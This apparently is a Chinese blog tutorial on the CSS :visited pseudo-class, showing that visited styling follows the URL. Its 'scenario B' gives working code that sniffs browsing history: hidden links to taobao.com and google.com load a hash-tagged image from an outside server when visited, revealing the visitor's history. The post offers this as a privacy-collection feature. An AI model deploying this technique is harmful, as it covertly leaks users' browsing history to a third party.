CSS1/CSS2对于a定义了4个伪类,

> :link a标签未访问时的样式

> :active a标签mousedown时的样式

> :hover a标签mouseover时的样式

> :visited a标签访问过之后样式

对于hover属性,当然是最常用的,恰恰相反的与之对应的就是visited属性,基本很少有人提及。

a:visited从使用意义来说,是指用户访问过某一个链接之后,该链接的a标签将呈现对应:visited属性定义的样式。

这里的重点在于链接,经过测试发现

<html>
     <head>
         <style>
             a:link{
                 color:blue;
             }
             a:visited{
                 color:red;
             }
         </style>
     </head>
     <body>
         <a id="a1" href="#test1"></a>
         <a id="a2" href="#test1"></a>
         <a id="a3" href="#test3"></a>
     </body>
</html>

点击a1之后的同时,a2也会应用visited的样式,但是a3不会。

可以得出这样的结论,a:visited是与URL有关,而与单个的a标签无关

利用这点,我们可以大胆的做一下尝试。

应用场景A:

对于一个抽奖应用,按钮点击过一次之后,下方给予提示“您已参加过抽奖”。(编者注:visited是浏览器内置记录,用户更换浏览器还可以继续抽奖,这显然并不合理。

<html>
    <head>
        <style>
            a.lottery:link{
               display:block;
               width:100px;
               height:20px;
               border:1px solid #ccc;
            }
            a.lottery-over:link{
               display:none;
            }
            a.lottery-over:visited{
               display:block;
               color:red;
            }
        </style>
    </head>
    <body>
        <div>
            <a class="lottery" href="#lotter">抽奖开始</a>
            <a class="lottery-over" href="#lotter">您已经参加过本次抽奖了</a>
        </div>
    </body>
</html>

image

点击之后,

image

只要url相同,且被浏览器访问过,我们就可以使用a:visited做容器,在页面的任何位置,做各种展示效果。

应用场景B:

利用a:visited只依赖于URL的特点,我们还可以实现,隐私收集这样的功能。

<html>
    <head>
        <style>
            .collect{
                display:block;
                height:0;
                width:0;
            }
            a.taobao:visited{
                background-image:url('http://reqianduan.qiniudn.com/qiniu/1711/image/9ad5a1b3096295b9d067a7ebc3ed1deb.png#taobao')
            }
            a.google:visited{
                background-image:url('http://reqianduan.qiniudn.com/qiniu/1711/image/9ad5a1b3096295b9d067a7ebc3ed1deb.png#google')
            }
        </style>
    </head>
    <body>
        <div class="collect">
            <a class="taobao" href="http://www.taobao.com"></a>
            <a class="google" href="http://www.google.com"></a>
        </div>
    </body>
</html>

只要用户的机器访问过比如www.taobao.com,访问该页面时候,就会利用background-image发送xxxxx.jpg#taobao这样的请求,这样服务端,就可以通过hashid收集并统计用户的访问历史记录了。

image

这里google.com因为访问的是google.com.hk,所以没有请求,只有#taobao一个访问记录。